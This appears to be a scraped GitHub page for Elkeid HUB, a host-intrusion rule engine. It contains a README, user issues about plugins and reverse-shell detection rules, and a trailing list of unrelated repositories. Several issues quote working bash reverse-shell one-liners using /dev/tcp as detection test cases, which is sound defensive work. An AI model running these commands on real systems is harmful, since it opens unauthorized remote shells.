Elkeid HUB - A rule/event processing engine maintained by the Elkeid Team that supports streaming/offline data processing

Overview

English | 简体中文

Elkeid HUB

Elkeid HUB is a rule/event processing engine maintained by the Elkeid Team that supports streaming/offline (not yet supported by the community edition) data processing. The original intention is to solve complex data/event processing and external system linkage requirements through standardized rules.

Core Components

  • INPUT data input layer, community edition only supports Kafka.
  • RULEENGINE/RULESET core components for data detection/external data linkage/data processing.
  • OUTPUT data output layer, community edition only supports Kafka/ES.
  • SMITH_DSL used to describe the data flow relationship.

Application Scenarios

  • Simple HIDS

  • IDS Like Scenarios

  • Multiple input and output scenarios

Advantage

  • High Performance
  • Very Few Dependencies
  • Support Complex Data Processing
  • Custom Plugin Support
  • Support Stateful Logic Build
  • Support External System/Data Linkage

Elkeid Internal Best Practices

  • Use Elkeid HUB to process Elkeid HIDS/RASP/Sandbox/etc. raw data, TPS ninety million/s. HUB scheduling instance 4000+
  • 99% alarm produce time is less than 0.5s
  • Internal Maintenance Rules 2000+

Getting Started

Elkeid-HUB Quick Start

Elkeid-HUB Demo(Chinese version only)

Elkeid HUB Handbook (chinese only)

Handbook

Demo Config

Demo

Elkeid HIDS Rule and Project(Just Example)

Elkeid Project

(Need to use with Elkeid)

Community Version

  • Does not support cluster mode, only supports single node.
  • No front-end support, no data visualization capabilities, no front-end management capabilities.
  • Rule/RuleSet/Project Debug capabilities are not supported.
  • WorkSpace is not supported, user management is not supported.
  • No operation and maintenance management capabilities.

LICENSE (Not Business Friendly)

LICENSE

Contact us && Cooperation

Comments
  • 执行./bootstrap.sh 提示stat py/elkeid.sock: no such file or directory

    执行./bootstrap.sh 提示stat py/elkeid.sock: no such file or directory

    下载解压后,修改了config里的input,out对应的kafka地址。执行./bootstrap.sh,报了panic: [AgentSmith INIT] CUSTOM PLUGIN INIT FAILEDplugin process run timeout, List plugin error: stat /root/elkeid/elkeid_hub_community/py/elkeid.sock: no such file or directory 。按照文档说明去cat py/plugin.stdout,没有该文件 image

    opened by crazyydevil 11
  • CUSTOM_ALLDATA 类型调用插件未生效

    CUSTOM_ALLDATA 类型调用插件未生效

    规则如下,在check_node中调用【DetectTTY】插件,类型为文档中的【CUSTOM_ALLDATA】

        <rule rule_id="pipe_shell_detect" author="mg" type="Detection">
            <rule_name>pipe_shell_custom_detect</rule_name>
            <alert_data>True</alert_data>
            <harm_level>high</harm_level>
            <desc kill_chain_id="persistent" affected_target="host_process">Double Piped Reverse Shell Detection, Connection Part</desc>
            <filter part="data_type">59</filter>
            <check_list>
                <!-- <check_node type="EQU" part="exe" logic_type="or" separator="|">
                    <![CDATA[/bin/cat|/usr/bin/cat|/usr/bin/ls|/bin/ls|/usr/bin/cp|/bin/cp]]>
                </check_node> -->
                <check_node type="CUSTOM_ALLDATA">DetectTTY</check_node>
            </check_list>
            <node_designate></node_designate>
            <del />
            <modify></modify>
            <action />
            <append type="static" append_field_name="alert_type_us">persistent</append>
            <append type="static" append_field_name="rule_name">pipe_shell_custom_detect</append>
        </rule>
    

    【DetectTTY】插件代码

    from ast import Try
    import json
    
    class Plugin(object):
    
        def __init__(self):
            self.name = None
            self.type = None
            self.log = None
            self.redis = None
    
        def plugin_exec(self, arg, config):
            self.log.info(arg)
            result = dict()
            try:
                data = json.loads(arg)
                tty = data['tty']
                new_tty = tty[:3]+'/'+tty[3:]
                if data['stdin'].find(new_tty) > -1 and data['stdout'].find(new_tty) > -1:
                    result["flag"] = False
                    result["msg"] = arg
                    self.log.info('false')
                else:
                    result["flag"] = True
                    result["msg"] = arg
                    self.log.info('true')
            except Exception as e:
                result["flag"] = False
                result["msg"] = arg
                self.log.info('exce')
                return  result
    

    目录【DetectTTY/elkeid.txt】的内容

    [[email protected] DetectTTY]# cat elkeid.txt 
    [plugin]
    name = DetectTTY
    type = Custom
    description = tty
    runtime = Python
    author = mg
    

    执行相关命令后,未发现日志信息有任何关于此插件的信息打印,但是其它插件有信息打印出来

    Wa8ievVkAc

    m55BhBUzNs

    opened by 0xlwoe21k 6
  • python插件进程未知原因挂了

    python插件进程未知原因挂了

    我们做了某个规则,存在短时间内会有大量告警产生,告警后会有如下动作:

    告警 -> 邮件 告警 -> 钉钉

    个人怀疑可能是瞬时的邮件发送太多导致进程挂了。

    麻烦官方看看。

    错误如下:

    During handling of the above exception, another exception occurred:
    
    Traceback (most recent call last):
      File "/elkeid/hub/py/pypy/site-packages/gevent/monkey.py", line 883, in _shutdown
        sleep()
      File "/elkeid/hub/py/pypy/site-packages/gevent/hub.py", line 159, in sleep
        waiter.get()
      File "/elkeid/hub/py/pypy/site-packages/gevent/_waiter.py", line 154, in get
        return self.hub.switch()
      File "/elkeid/hub/py/pypy/site-packages/gevent/_greenlet_primitives.py", line 65, in switch
        return _greenlet_switch(self) # pylint:disable=undefined-variable
      File "/elkeid/hub/py/pypy3.7-v7.3.5-linux64/lib_pypy/greenlet.py", line 61, in switch
        return self.__switch('switch', (args, kwds))
      File "/elkeid/hub/py/pypy3.7-v7.3.5-linux64/lib_pypy/greenlet.py", line 115, in __switch
        args, kwds = unbound_method(current, *baseargs, to=target)
      File "/elkeid/hub/py/pypy/site-packages/gevent/greenlet.py", line 906, in run
        result = self._run(*self.args, **self.kwargs)
      File "start.py", line 232, in MAdMVLLDiXAtecYUDHboItopciRTNvvQzoOQHRuqtSVzMHWtYmMVjCziVxLIiVqdWeHmBUuMHjLNqmPMNtWyLqVbRzuPyXyOYwseiTjyPcBFtkFGKCDkYljoCNxmQQib
        zXOOpLGxKCFTqTCDVeLFTGSmwadspsqrDRujvSasYDdMYMWTlYHKUpcvgrFviMkYuyfiDukfCQRZQGLUNLIdaRTZrVBZrjbSMbywnBxjpPxfqtimxIxxULfGGyyvtAiv = JCvskfVXKjtOLPaWakNsLbZhbJcELrmjndDtrUOioYIlQylGQJKEppUkSKwKXdapDOnCebNCtUvwxAsmrlBMkXdDoqswofSUGAOavEaXJITLDfjucFQKbzuVFFmaOMGA(rijngpewjhDSqsFNjqbzuHtQaDjbrcHmrnWYACROvLNSMqOknvxoKyrlMURdLKTnSkQSiYilYihkwIBYWvXFvaUYaHPOqEKomicDNqKKzBPLnnmYqsLlUTIlgrZPVsId, MpMqkamoyCAZEAWGzRMVPyTgurkzhLeBtamvZYMzJJEVzFELqcwIuBHoNKZneCDHeuBVfizKwweZHrGwymjvyOnGnoHSDOkhWGaUNNIIpIllzqAkLrwzSGPyaCBNtBgB)
      File "/elkeid/hub/py/sthqiWDuarARPqndkeXjroRbJVUlVjFOHZBhnByxlvcQcybBMNkqXCPaHTLWrviEjnXjgGLVxFKnwbYmOfBPWrMabvEHUBVhvVibmReBRJJuOTQAigWHnstvTTAmHphI.py", line 1267, in JCvskfVXKjtOLPaWakNsLbZhbJcELrmjndDtrUOioYIlQylGQJKEppUkSKwKXdapDOnCebNCtUvwxAsmrlBMkXdDoqswofSUGAOavEaXJITLDfjucFQKbzuVFFmaOMGA
        IAWinSrpwEbhWZLtnwwpeygFGRmNhexkUISkMzrpRHWxBQUDJObqnIpdNqTBgNqBpOKJQdBujWacShKFulFkPMtZzvWJPTwMBjjzmQOBFkdICCVyRWIVnrhVoyxQmezM = MUxpTCwXyGICtMgnkyCDQPutAdqbDWUwTLljQxzYRhOCNlTaykQaqlCGtiTsDhAaLAkwHPJvZOUtegjsFnHVPbNIzUMUFtkCEObLCecvzJkgssyrkFoiuRgsrNApFrdQ[rijngpewjhDSqsFNjqbzuHtQaDjbrcHmrnWYACROvLNSMqOknvxoKyrlMURdLKTnSkQSiYilYihkwIBYWvXFvaUYaHPOqEKomicDNqKKzBPLnnmYqsLlUTIlgrZPVsId](LeOrCeoGyEHyYBDtEtCGWeWUjuxIIahbnAnZbnghRHqvibDNMarZdlpZjjJKNOBmsJUDXZvaAXpOiESZNJUBSEYoPyCURBHmMXeaLfSAfbcbAYMocWFabmAzwYoNdLeh, TwqkyTgFXKcxyAfUseFdgomZURnsIDPtkDqFdSWZuVxKODQoYBdXBhHFYJVfNOFqyAzWdLfMCdSSQXTiDZlbbICRCjgQpkNnmJzfxoHZbQeurXdTCUjHPkfYiTqmZUbA)
      File "/elkeid/hub/config/plugin/SendToEmail/plugin.py", line 49, in plugin_exec
        exit(0)
      File "/elkeid/hub/py/pypy3.7-v7.3.5-linux64/lib-python/3/_sitebuiltins.py", line 26, in __call__
        raise SystemExit(code)
    SystemExit: 0
    2022-07-11T07:54:07Z <greenlet.greenlet object at 0x0000000001571550> failed with SystemExit
    
    opened by 0xlwoe21k 2
  • cat 反弹shell规则的判断

    cat 反弹shell规则的判断

    exec 5<>/dev/tcp/10.71.5.222/666;cat <&5|while read line;do $line >&5 2>&1;done

    { "bootTime":"2022-01-19 19:11:31.000", "cmdline":"cat", "cwd":"/", "exe":"/usr/bin/cat", "fd_num":"1", "name":"cat", "pid":"12778", "ppid":"50250", "r_addr_ip":"10.71.5.222", "r_addr_port":"666", "session":"50250", "stderr":"/dev/pts/0", "stdin":"socket:[583396364]", "stdout":"pipe:[583396365]", "terminal":"/pts/0", "username":"root" },

    这种反弹shell如何判断比较好?没有进程命令行特征,直接判断cat 输入有重定向?

    opened by wcc526 1
  • 判断所有程序的stdin,stdout重定向,避免被绕过

    判断所有程序的stdin,stdout重定向,避免被绕过

    麻烦评估下这个 规则改动,

    https://github.com/bytedance/Elkeid-HUB/pull/4

    cp /bin/bash /tmp/apache;/tmp/apache -i >& /dev/tcp/10.71.5.222/666 0>&1

    { "bootTime":"2022-01-19 18:48:20.000", "cmdline":"/tmp/apache -i", "cwd":"/", "exe":"/tmp/apache", "fd_num":"3", "name":"apache", "pid":"88184", "ppid":"50250", "r_addr_ip":"10.71.5.222", "r_addr_port":"666", "session":"50250", "stderr":"socket:[583190616]", "stdin":"socket:[583190616]", "stdout":"socket:[583190616]", "terminal":"/pts/0", "username":"root" },

    opened by wcc526 1
  • 判断所有程序的stdin,stdout重定向,避免被绕过

    判断所有程序的stdin,stdout重定向,避免被绕过

    判断所有程序的stdin,stdout重定向,避免被绕过

    cp /bin/bash /tmp/apache;/tmp/apache -i >& /dev/tcp/10.71.5.222/666 0>&1

    { "bootTime":"2022-01-19 18:48:20.000", "cmdline":"/tmp/apache -i", "cwd":"/", "exe":"/tmp/apache", "fd_num":"3", "name":"apache", "pid":"88184", "ppid":"50250", "r_addr_ip":"10.71.5.222", "r_addr_port":"666", "session":"50250", "stderr":"socket:[583190616]", "stdin":"socket:[583190616]", "stdout":"socket:[583190616]", "terminal":"/pts/0", "username":"root" },

    opened by wcc526 0
  • plugin存在的问题

    plugin存在的问题

    在plugin/SendToLarkGroup/plugin.py更改了一下json输出的格式重新运行hub时出现报错[RuleCheck]Check RuleSetpush_alert error!plugin SendToLarkGroup not found 截图暂时没了 plugin.py更改内容:

    class Plugin(object):

    def __init__(self):
        self.name = None
        self.type = None
        self.log = None
        self.redis = None
    
    def plugin_exec(self, arg, config):
        self.log.info(arg)
        self.log.info(config)
        arg=json.dumps(arg,indent=2) 
        result = dict()
        headers = {
            'Content-Type': 'application/json ',
            'charset':'utf-8',
        } 
        data = {
            "app_id": app_id,
            "app_secret": app_secret,
        }
        data=json.dumps(data,indent=2)    
        response = requests.post('https://open.feishu.cn/open-apis/auth/v3/tenant_access_token/internal', headers=headers, data=data)
        self.log.info(response.json())
        token=response.json()['tenant_access_token']
        headers = {
            'Authorization': 'Bearer '+token,
            'Content-Type': 'application/json; charset=utf-8',
        }   
        data = {
            "open_chat_id":config["id"],
            "msg_type":"text",
            "content":{
                "text":arg,
            }       
        }
        data=json.dumps(data,indent=2) 
        self.log.info(data)
        response = requests.post('https://open.feishu.cn/open-apis/message/v3/send/', headers=headers, data=data)
        self.log.info(response.json())
        result["done"] = True
        return result
    

    自己创建了一个plugin,名为ChangeMod 文件内容与上面一致只是名字不同 重新运行也报错[RuleCheck]Check RuleSetpush_alert error!plugin ChangeMod not found

    然后把hub/py/.success删除重新运行./bootstrap.sh发现插件加载成功且格式已经变更。

    最后问一下,为什么后台有告警了但是飞书机器人却没有及时发送消息甚至没有消息,策略都是已经设置了的。。 image

    opened by gdianq 1
Owner
Bytedance Inc.
Bytedance Inc.
An advanced automatic top.gg dank memer voter that votes automatically for you.

Auto Dank Memer Voter An automatic dank memer voter that sends votes onto top.gg every 12 hours, unless their is captcha. I am working on a captcha de

6 Aug 27, 2022
Music cog for discord bots. Supports YouTube, YoutubeMusic, SoundCloud and Spotify.

dismusic Music cog for discord bots. Supports YouTube, YoutubeMusic, SoundCloud and Spotify. Installation python3 -m pip install dismusic Usage from d

Md Shahriyar Alam 59 Jan 08, 2023
Simple Telegram bot to confess to your crush this Valentine's Day

Simple Telegram bot to confess to your crush this Valentine's Day! Steps pip install python-telegram-bot Register a Telegram bot & get the token by fo

3 Mar 18, 2022
The best Fortnite all-in-one lobby bot!

Recommended to use on Python v3.8 stable for bot. FLB The best free Fortnite lobby bot experience! Discord server: PDennSploit Softworks LLC Getting S

Payson Holmes 2 May 11, 2022
Use Seaborn to visualize interpret the byte layout of Solana account types

solana-account-vis Use Seaborn to visually interpret the byte layout of Solana account types Usage from account_visualization import generate_account_

Jarry Xiao 15 Aug 25, 2022
Rock API is an API that allows you to view rocks and find the ratings on them

Rock API The best Rock API What is Rock API? Rock API is an API that allows you to view rocks and find the ratings on them. However, this isn't a regu

Conos 21 Sep 21, 2022
Oussama has taken his first dose of vaccine D days ago

Oussama has taken his first dose of vaccine D days ago. He may take the second dose no less than L days and no more than R days since his first dose. Determine if Oussama is too early, too late, or i

INDIA - ENSAM Rabat 2 Feb 01, 2022
Small Python Tracker clone of Electra

Discord Bot Tracker - Python Simply Track your Bots (Status) to get notified when one of those go offline/online. Paste IDs into the config.py files,

Koni 2 Nov 23, 2021
ClearML - Auto-Magical Suite of tools to streamline your ML workflow. Experiment Manager, MLOps and Data-Management

ClearML - Auto-Magical Suite of tools to streamline your ML workflow Experiment Manager, MLOps and Data-Management ClearML Formerly known as Allegro T

ClearML 3.9k Jan 01, 2023
TwitterBot-ImageCollector - Twitter bot that collects images from likes saves the image

TwitterBot-ImageCollector Bot de Twitter que recolecta imagenes a partir de los

Gx3 Studios 4 Jun 01, 2022
A file-based quote bot written in Python

Let's Write a Python Quote Bot! This repository will get you started with building a quote bot in Python. It's meant to be used along with the Learnin

1 Jan 15, 2022
A simple script & container to pull COVID data from covidlive.com.au and post a summary to a slack channel

CovidLive AU Summary Slackbot This bot is a very simple slackbot that pulls data, summarises and posts up to date AU COVID stats to a provided slack c

James 3 Dec 18, 2021
Simple bot to receive feedback,same as livegram bot but with more features & full control over bot

Kontak Simple bot to receive feedback,same as livegram bot but with more features & full control over bot Deploy to VPS

Mahin Ahmed 2 Dec 16, 2021
Editing a Tinder bot created by @frederikme

tinder_bot_edit Editing a Tinder bot created by @frederikme Table of Contents Basic Swipe Bot Basic Swipe Bot Download the code as a zip or clone the

Alex Carter 1 Nov 23, 2021
Discord Mafia Game Bot using nextcord

Mafia-Bot Discord Mafia Game Bot using nextcord Features Mafia Game Game Replays Installation Run the following command to install required modules: p

Nian 6 Nov 19, 2022
A bot that is an updated & modified version of calvinnfernando's WebReg-Bot

WaitList-Bot A bot that is an updated & modified version of calvinnfernando's WebReg-Bot to automate getting into waitlisted classes in UCSD WebReg on

Issac In 1 Dec 01, 2022
🚀 A fast, flexible and lightweight Discord API wrapper for Python.

Krema A fast, flexible and lightweight Discord API wrapper for Python. Installation Unikorn unikorn add kremayard krema -no-confirmation Pip pip insta

Krema 20 Sep 04, 2022
Dante, my discord bot. Open source project in development and not optimized for other filesystems, install and setup script in development

DanteMode (In private development for ~6 months) Dante, my discord bot. Open source project in development and not optimized for other filesystems, in

2 Nov 05, 2021
A Python Instagram Scraper for Downloading Profile's Posts, stories, ProfilePic and See the Details of Particular Instagram Profile.

✔ ✔ InstAstra ⚡ ⚡ ⁜ Description ~ A Python Instagram Scraper for Downloading Profile's Posts, stories, ProfilePic and See the Details of Particular In

12 Jun 23, 2022
🔏 Discordちゃんねる ◆wGFzKUzY7E

使い方 discord.pyをインストール. python -m pip install -r requirements.txtを実行. bot.pyと同じ階層に.tokenを用意. bot.pyを実行. ※現状、使用しているライブラリの関係でWindowsOSは未対応です。 コマンド ニックネーム

Gattxxa 3 Feb 02, 2022